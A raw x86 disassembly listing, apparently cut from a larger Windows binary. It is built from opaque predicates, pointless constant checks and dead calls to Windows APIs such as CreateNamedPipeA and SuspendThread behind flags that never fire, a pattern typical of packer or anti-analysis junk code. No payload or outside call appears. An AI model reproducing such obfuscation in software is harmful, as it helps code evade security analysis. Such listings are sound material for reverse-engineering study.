je 0x46d0cf
mov dword [ebp - 0x12f4], 1
jmp 0x46d0d6
and dword [ebp - 0x12f4], 0
cmp dword [ebp - 0x12f4], 0
je 0x46d0fd
push 0
lea ecx, [ebp - 0x1a8c]
call fcn.0042713b
cmp dword [eax], 0
je 0x46d0fd
mov dword [ebp - 0xbb4], 1
jmp 0x46d104
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0xbb4]
mov dword [ebp - 0x3ac], eax
jmp 0x46cfb7
mov dword [ebp - 0x194], 0xffffffeb
jmp 0x46d12e
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x1a
je 0x46d32e
mov dword [ebp - 0x38c], 1
mov dword [ebp - 0x3ac], 0
jmp 0x46d15e
mov eax, dword [ebp - 0x3ac]
dec eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0xfffffffe
jne 0x46d316
mov dword [ebp - 0x344], 1
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1fe4], eax
cmp dword [ebp - 0x74], 0
jne 0x46d2b5
cmp dword [ebp - 0x34c], 9
jb 0x46d1a0
mov dword [ebp - 0x108c], 1
jmp 0x46d1a7
and dword [ebp - 0x108c], 0
cmp dword [ebp - 0x108c], 0x97e65fbc
jbe 0x46d1bf
mov dword [ebp - 0xbbc], 1
jmp 0x46d1c6
and dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0xbbc]
jle 0x46d1e3
cmp dword [ebp - 0x38c], 0
jne 0x46d1e3
and dword [ebp - 0x142c], 0
jmp 0x46d1ed
mov dword [ebp - 0x142c], 1
cmp dword [ebp - 0x142c], 0x61e7
jl 0x46d205
mov dword [ebp - 0x198c], 1
jmp 0x46d20c
and dword [ebp - 0x198c], 0
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1fec], eax
push 0
lea ecx, [ebp - 0x1a8c]
call fcn.0042713b
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1ff4], eax
cmp dword [ebp - 0x38c], 0x56a759f3
jge 0x46d246
mov dword [ebp - 0xbc4], 1
jmp 0x46d24d
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0xbc4]
sub eax, dword [ebp - 0xac]
imul eax, dword [ebp - 0x38c]
sub eax, 9
jne 0x46d277
cmp dword [ebp - 0x38c], 0
jne 0x46d277
and dword [ebp - 0x1094], 0
jmp 0x46d281
mov dword [ebp - 0x1094], 1
cmp dword [ebp - 0x1094], 0xf88d
jl 0x46d299
mov dword [ebp - 0xbcc], 1
jmp 0x46d2a0
and dword [ebp - 0xbcc], 0
cmp dword [ebp - 0xbcc], 0xbb265d63
ja 0x46d2b5
and dword [ebp - 0x1994], 0
jmp 0x46d2bf
mov dword [ebp - 0x1994], 1
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1ffc], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x344], 0xffffffed
jmp 0x46d2f0
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0xb
je 0x46d311
mov dword [ebp - 0x199c], 0x435d7d23
mov eax, dword [ebp - 0x199c]
mov dword [ebp - 0x19a4], eax
jmp 0x46d2e3
jmp 0x46d151
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x38c]
mov dword [ebp + eax - 0x1ea4], ecx
jmp 0x46d121
jmp 0x46cf7d
lea ecx, [ebp - 0x1a8c]
call fcn.0042711f
jmp 0x46cefd
mov dword [ebp - 0x34c], 0
jmp 0x46d35c
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
jg 0x46d393
mov dword [ebp - 0x74], 0
jmp 0x46d375
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 1
jge 0x46d391
push dword [ebp - 0x74]
lea ecx, [ebp - 0x1a9c]
call fcn.0042713b
mov dword [eax], 0xe64bfce9
jmp 0x46d36e
jmp 0x46d34f
lea ecx, [ebp - 0x1a9c]
call fcn.0042711f
mov dword [ebp - 0x450], 5
mov dword [ebp - 0x450], 0
jmp 0x46d3c1
mov eax, dword [ebp - 0x450]
inc eax
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 0xf
jl 0x46d3fc
mov dword [ebp - 0x19ac], 0x95364446
mov dword [ebp - 0x19ac], 1
mov byte [ebp - 0x1de], 0
movzx eax, byte [ebp - 0x1de]
test eax, eax
je 0x46d3fa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x46d3b4
mov dword [ebp - 0x19cc], str.iwvjjane_gkdqvwdod_xjpl_mlzqkw
push 1
lea ecx, [ebp - 0x1b80]
call fcn.0042704d
mov dword [ebp - 0x68], 0xfffffffa
mov dword [ebp - 0x2004], 0x8376fbf
mov dword [ebp - 0x88c], 0xffffffff
mov dword [ebp - 0xbf4], 0xfca86293
mov dword [ebp - 0x658], 0
jmp 0x46d451
mov eax, dword [ebp - 0x658]
inc eax
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 1
jge 0x46d473
push dword [ebp - 0x658]
lea ecx, [ebp - 0x1b80]
call fcn.0042713b
mov dword [eax], 0x1e29ea41
jmp 0x46d444
cmp dword [ebp - 0x68], 1
jg 0x46d485
mov dword [ebp - 0x12fc], 1
jmp 0x46d48c
and dword [ebp - 0x12fc], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x12fc], eax
jl 0x46d4a3
mov dword [ebp - 0xbd4], 1
jmp 0x46d4aa
and dword [ebp - 0xbd4], 0
cmp dword [ebp - 0xbd4], 0x5d64f689
jle 0x46d4c2
mov dword [ebp - 0x109c], 1
jmp 0x46d4c9
and dword [ebp - 0x109c], 0
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0x109c]
cmp dword [ebp - 0x68], eax
jge 0x46d4e3
mov dword [ebp - 0xbdc], 1
jmp 0x46d4ea
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0xbdc], eax
jle 0x46d501
mov dword [ebp - 0x152c], 1
jmp 0x46d508
and dword [ebp - 0x152c], 0
mov eax, dword [ebp - 0x152c]
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffff
jle 0x46d524
xor eax, eax
jne 0x46d524
and dword [ebp - 0xbe4], 0
jmp 0x46d52e
mov dword [ebp - 0xbe4], 1
mov eax, dword [ebp - 0x88c]
cmp dword [ebp - 0xbe4], eax
jge 0x46d551
mov eax, 0x88101aed
test eax, eax
je 0x46d551
mov dword [ebp - 0x10a4], 1
jmp 0x46d558
and dword [ebp - 0x10a4], 0
push 0
lea ecx, [ebp - 0x1b80]
call fcn.0042713b
mov dword [eax], 1
cmp dword [ebp - 0x10a4], 1
jle 0x46d580
mov dword [ebp - 0xbec], 1
jmp 0x46d587
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0xbec]
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 1
jbe 0x46d5a8
mov dword [ebp - 0x1304], 1
jmp 0x46d5af
and dword [ebp - 0x1304], 0
mov eax, dword [ebp - 0xbf4]
cmp dword [ebp - 0x1304], eax
jle 0x46d5c9
mov dword [ebp - 0x10ac], 1
jmp 0x46d5d0
and dword [ebp - 0x10ac], 0
mov eax, dword [ebp - 0xbf4]
cmp dword [ebp - 0x10ac], eax
jge 0x46d5ea
mov dword [ebp - 0xbfc], 1
jmp 0x46d5f1
and dword [ebp - 0xbfc], 0
cmp dword [ebp - 0xbfc], 0
je 0x46d616
mov byte [ebp - 0x1e2], 0
movzx eax, byte [ebp - 0x1e2]
test eax, eax
je 0x46d614
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x46d642
mov dword [ebp - 0x68], 0
jmp 0x46d626
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x46d642
push dword [ebp - 0x68]
lea ecx, [ebp - 0x1b80]
call fcn.0042713b
mov dword [eax], 0xb81f947f
jmp 0x46d61f
lea ecx, [ebp - 0x1b80]
call fcn.0042711f
mov dword [ebp - 0x2e4], 0x56915a13
push 1
lea ecx, [ebp - 0x1c88]
call fcn.0042704d
mov dword [ebp - 0x134], 0
jmp 0x46d67d
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jge 0x46d699
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x27c], 1
jmp 0x46d670
mov dword [ebp - 0x134], 0
jmp 0x46d6b2
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jge 0x46d6d4
push dword [ebp - 0x134]
lea ecx, [ebp - 0x1c88]
call fcn.0042713b
mov dword [eax], 7
jmp 0x46d6a5
mov dword [ebp - 0x2e4], 0xffffffff
mov dword [ebp - 0x2e4], 0
jmp 0x46d6f7
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0
jg 0x46d8bb
mov dword [ebp - 0xc4], 0xfffffffc
mov dword [ebp - 0x1434], 0xffffffff
mov dword [ebp - 0xc0c], 5
mov dword [ebp - 0x19b4], 0xd6273d59
mov dword [ebp - 0xc4], 0
jmp 0x46d745
mov eax, dword [ebp - 0xc4]
dec eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0
jl 0x46d8b6
mov eax, dword [ebp - 0xc4]
cmp dword [ebp + eax*4 - 0x27c], 0
je 0x46d794
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0x27c]
mov dword [ebp - 0x200c], eax
mov dword [ebp - 0x1434], 0xfadacd7d
cmp dword [ebp - 0x1434], 0
je 0x46d794
mov dword [ebp - 0xc04], 1
jmp 0x46d79b
and dword [ebp - 0xc04], 0
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0x27c]
cmp dword [ebp - 0xc04], eax
jl 0x46d7bc
mov dword [ebp - 0x10b4], 1
jmp 0x46d7c3
and dword [ebp - 0x10b4], 0
mov eax, dword [ebp - 0x10b4]
mov dword [ebp - 0xc0c], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0x27c]
cmp eax, dword [ebp - 0xc0c]
jl 0x46d7f0
mov dword [ebp - 0x130c], 1
jmp 0x46d7f7
and dword [ebp - 0x130c], 0
cmp dword [ebp - 0x130c], 0xacee
jge 0x46d80f
mov dword [ebp - 0xc14], 1
jmp 0x46d816
and dword [ebp - 0xc14], 0
cmp dword [ebp - 0xc14], 0x2d3f
jl 0x46d82e
mov dword [ebp - 0x10bc], 1
jmp 0x46d835
and dword [ebp - 0x10bc], 0
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0x10bc], eax
jge 0x46d84f
mov dword [ebp - 0xc1c], 1
jmp 0x46d856
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0x27c]
cmp eax, dword [ebp - 0xc1c]
jne 0x46d884
mov eax, dword [ebp - 0xc4]
cmp dword [ebp + eax*4 - 0x27c], 0
jne 0x46d884
and dword [ebp - 0x14cc], 0
jmp 0x46d88e
mov dword [ebp - 0x14cc], 1
mov eax, dword [ebp - 0x14cc]
mov dword [ebp - 0x19b4], eax
push 0
lea ecx, [ebp - 0x1c88]
call fcn.0042713b
cmp dword [eax], 0
je 0x46d8b1
jmp 0x46d738
jmp 0x46d738
jmp 0x46d6ea
lea ecx, [ebp - 0x1c88]
call fcn.0042711f
mov dword [ebp - 0x3d0], 0x53b26bdd
mov dword [ebp - 0x3d0], 0
jmp 0x46d8e9
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0xa
jl 0x46da9d
mov dword [ebp - 0x85c], 0
mov dword [ebp - 0x19bc], 1
mov dword [ebp - 0x458], 0
jmp 0x46d923
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 2
jge 0x46d93f
mov eax, dword [ebp - 0x458]
mov dword [ebp + eax*4 - 0x1c24], 0
jmp 0x46d916
mov eax, dword [ebp - 0x85c]
mov dword [ebp - 0x2014], eax
cmp dword [ebp - 0x85c], 0xffffffff
jne 0x46d960
mov dword [ebp - 0xc24], 1
jmp 0x46d967
and dword [ebp - 0xc24], 0
mov eax, dword [ebp - 0x3d0]
cmp eax, dword [ebp - 0xc24]
jge 0x46d981
mov dword [ebp - 0x10c4], 1
jmp 0x46d988
and dword [ebp - 0x10c4], 0
cmp dword [ebp - 0x10c4], 0xffffffff
je 0x46d99d
mov dword [ebp - 0xc2c], 1
jmp 0x46d9a4
and dword [ebp - 0xc2c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1c24]
imul eax, dword [ebp - 0xc2c]
neg eax
mov dword [ebp - 0x1314], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1314]
mov dword [ebp + eax - 0x1c24], ecx
cmp dword [ebp - 0x1314], 0xad9bacc5
jne 0x46d9eb
mov dword [ebp - 0xc34], 1
jmp 0x46d9f2
and dword [ebp - 0xc34], 0
cmp dword [ebp - 0xc34], 1
jne 0x46da07
mov dword [ebp - 0x10cc], 1
jmp 0x46da0e
and dword [ebp - 0x10cc], 0
mov eax, dword [ebp - 0x85c]
cmp dword [ebp - 0x10cc], eax
jl 0x46da28
mov dword [ebp - 0xc3c], 1
jmp 0x46da2f
and dword [ebp - 0xc3c], 0
mov eax, dword [ebp - 0x85c]
cmp dword [ebp - 0xc3c], eax
jne 0x46da49
mov dword [ebp - 0x143c], 1
jmp 0x46da50
and dword [ebp - 0x143c], 0
cmp dword [ebp - 0x143c], 0x307a
jne 0x46da68
mov dword [ebp - 0xc44], 1
jmp 0x46da6f
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0xc44]
mov dword [ebp - 0x19bc], eax
mov byte [ebp - 0x1e4], 0
movzx eax, byte [ebp - 0x1e4]
test eax, eax
je 0x46da98
push 0xaf3
call dword [sym.imp.USER32.dll_GetSysColorBrush]
jmp 0x46d8dc
cmp dword [ebp - 0x10d4], 0x8037
jle 0x46db4c
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
and dword [ebp - 0x460], 0
jmp 0x46dacb
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x2117
jge 0x46db4c
and dword [ebp - 0x660], 0
jmp 0x46daed
mov eax, dword [ebp - 0x660]
inc eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0x38e
jge 0x46db47
mov eax, dword [ebp - 0x460]
imul eax, dword [ebp - 0x660]
cdq
mov dword [ebp - 0x1718], eax
mov dword [ebp - 0x1714], edx
push dword [ebp - 0x1714]
push dword [ebp - 0x1718]
lea ecx, [ebp - 0x24ec]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x24ec]
call fcn.00402d76
jmp 0x46dae0
jmp 0x46dabe
mov dword [ebp - 0x468], 0x91a049fe
mov dword [ebp - 0x19c4], 9
mov byte [ebp - 0x1e6], 0
movzx eax, byte [ebp - 0x1e6]
test eax, eax
je 0x46db7d
push 0x25fb
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [ebp - 0x468], 0
jmp 0x46db96
mov eax, dword [ebp - 0x468]
dec eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 0xfffffff6
je 0x46dc38
mov dword [ebp - 0x21c], 0xfffffff9
mov dword [ebp - 0x764], 0
jmp 0x46dbc6
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 1
jge 0x46dbe2
mov eax, dword [ebp - 0x764]
mov dword [ebp + eax*4 - 0x938], 0xfffffffe
jmp 0x46dbb9
mov dword [ebp - 0x21c], 0
jmp 0x46dbfb
mov eax, dword [ebp - 0x21c]
dec eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jl 0x46dc33
mov eax, dword [ebp - 0x21c]
mov ecx, dword [ebp - 0x21c]
mov eax, dword [ebp + eax*4 - 0x938]
mov dword [ebp + ecx*4 - 0x938], eax
mov eax, dword [ebp - 0x21c]
mov eax, dword [ebp + eax*4 - 0x938]
mov dword [ebp - 0x19c4], eax
jmp 0x46dbee
jmp 0x46db89
mov dword [ebp - 0xa98], 0xb69
mov dword [ebp - 0x470], 0xa8eac8b1
mov byte [ebp - 0x1e8], 0
movzx eax, byte [ebp - 0x1e8]
test eax, eax
je 0x46dc86
push 0
push 0x1d2a
push 0x122f
push 0x229c
push 0x2419
push 0x12a0
push 0x1a52
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [ebp - 0x470], 0xffffffec
jmp 0x46dc9f
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 2
jne 0x46dcc9
mov byte [ebp - 0x1ea], 0
movzx eax, byte [ebp - 0x1ea]
test eax, eax
je 0x46dcc7
push 0x2200
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
jmp 0x46dc92
mov dword [ebp - 4], 2
cmp dword [ebp - 0x10d4], 0x7dbc
jge 0x46dce8
push dword [ebp - 0x19cc]
call fcn.00481635
pop ecx
jmp 0x46dd04
or dword [ebp - 4], 0xffffffff
jmp 0x46dd0e
mov dword [ebp - 0x170], 0x3ae35568
mov dword [ebp - 0x354], 0xc61c71bc
mov dword [ebp - 0x2c4], 0xa2a67f6a
mov dword [ebp - 0x170], 0
jmp 0x46dd45
cmp dword [ebp - 0x170], 0x12
je 0x46e0e8
mov dword [ebp - 0x28], 0x3111738a
mov dword [ebp - 0x478], 0x6a07563f
mov dword [ebp - 0x894], 1
mov dword [ebp - 0x1444], 0xffffffff
mov dword [ebp - 0x668], 0
jmp 0x46dd90
mov eax, dword [ebp - 0x668]
inc eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 2
jge 0x46ddac
mov eax, dword [ebp - 0x668]
mov dword [ebp + eax*4 - 0x864], 0xeb90
jmp 0x46dd83
mov dword [ebp - 0x28], 1
jmp 0x46ddbc
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x46df75
mov dword [ebp - 0x354], 0x1324
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0
jne 0x46df5a
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x864], 0xe3e7
jne 0x46de05
mov dword [ebp - 0xc5c], 1
jmp 0x46de0c
and dword [ebp - 0xc5c], 0
cmp dword [ebp - 0x28], 0
jne 0x46de51
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x201c], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x864], 0
jne 0x46de2f
cmp dword [ebp - 0x478], 0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x864]
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0
jne 0x46de51
and dword [ebp - 0xc4c], 0
jmp 0x46de5b
mov dword [ebp - 0xc4c], 1
mov eax, dword [ebp - 0xc4c]
sub eax, 6
jne 0x46de78
cmp dword [ebp - 0x478], 0
jne 0x46de78
and dword [ebp - 0x131c], 0
jmp 0x46de82
mov dword [ebp - 0x131c], 1
cmp dword [ebp - 0x131c], 0xac89d73a
jae 0x46de9a
mov dword [ebp - 0xc54], 1
jmp 0x46dea1
and dword [ebp - 0xc54], 0
cmp dword [ebp - 0xc54], 0xc7ba3f30
je 0x46debb
xor eax, eax
inc eax
jne 0x46debb
and dword [ebp - 0x10dc], 0
jmp 0x46dec5
mov dword [ebp - 0x10dc], 1
mov eax, dword [ebp - 0x10dc]
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0xfffffff8
jbe 0x46dee6
mov dword [ebp - 0x157c], 1
jmp 0x46deed
and dword [ebp - 0x157c], 0
mov eax, dword [ebp - 0xc5c]
cmp eax, dword [ebp - 0x157c]
je 0x46df07
mov dword [ebp - 0xc6c], 1
mov eax, dword [ebp - 0xc6c]
mov dword [ebp - 0x894], eax
jmp 0x46ddb5
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x2024], eax
mov eax, dword [ebp - 0x894]
mov dword [ebp - 0x202c], eax
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x170], eax
jl 0x46dfa7
mov dword [ebp - 0x19d4], 1
jmp 0x46dfae
and dword [ebp - 0x19d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x864]
mov dword [ebp - 0x2034], eax
cmp dword [ebp - 0x2c4], 0
jne 0x46dfe3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x864], 0
jne 0x46dfe3
and dword [ebp - 0x1324], 0
jmp 0x46dfed
mov dword [ebp - 0x1324], 1
mov eax, dword [ebp - 0x1324]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x894], eax
jge 0x46e013
mov dword [ebp - 0xc74], 1
jmp 0x46e01a
and dword [ebp - 0xc74], 0
mov eax, dword [ebp - 0x354]
cmp eax, dword [ebp - 0xc74]
jle 0x46e034
mov dword [ebp - 0x10ec], 1
jmp 0x46e03b
and dword [ebp - 0x10ec], 0
mov eax, dword [ebp - 0x170]
add eax, dword [ebp - 0x10ec]
jne 0x46e062
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x864], 0
jne 0x46e062
and dword [ebp - 0xc7c], 0
jmp 0x46e06c
mov dword [ebp - 0xc7c], 1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x170]
add ecx, dword [ebp - 0xc7c]
sub eax, ecx
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x864]
je 0x46e0c7
mov dword [ebp - 0x28], 0
jmp 0x46e09c
cmp dword [ebp - 0x28], 0xfffffff3
jne 0x46e0c5
mov byte [ebp - 0x1ec], 0
movzx eax, byte [ebp - 0x1ec]
test eax, eax
je 0x46e0e3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
jmp 0x46dd38
mov dword [ebp - 0x204c], 0x6c05baf4
mov dword [ebp - 0x2054], 0xfffffffb
mov dword [ebp - 0x205c], 0
mov dword [ebp - 0x2064], 0x4074dd03
mov dword [ebp - 0x206c], 0xa6e6f7fb
mov dword [ebp - 0x2074], 0x54320e32
mov dword [ebp - 0x104], 0
jmp 0x46e13d
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jge 0x46e159
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x207c], 0xfffffffc
jmp 0x46e130
mov dword [ebp - 0x104], 0
jmp 0x46e172
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 3
jge 0x46e18e
mov eax, dword [ebp - 0x104]
mov dword [ebp + eax*4 - 0x226c], 0xfffffffa
jmp 0x46e165
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x226c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x226c], eax
mov byte [ebp - 0x1ee], 0
movzx eax, byte [ebp - 0x1ee]
test eax, eax
je 0x46e1d4
push 0x128c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov dword [ebp - 0x1164], 0x14a7
mov dword [ebp - 0xca4], 0x7c8b166c
mov dword [ebp - 0x7e4], 2
mov dword [ebp - 0x15c], 0
jmp 0x46e20b
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 3
jge 0x46e227
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x159c], 0xfff7
jmp 0x46e1fe
mov dword [ebp - 0x15c], 0
jmp 0x46e240
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 4
jge 0x46e25c
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x954], 0
jmp 0x46e233
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x954], 2
jmp 0x46e28a
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x954], 0
jl 0x46e443
mov dword [ebp - 0x178], 0xc558bac0
mov dword [ebp - 0x178], 2
jmp 0x46e2c1
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x2094], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x954]
mov dword [ebp - 0x209c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x954], 0
je 0x46e47e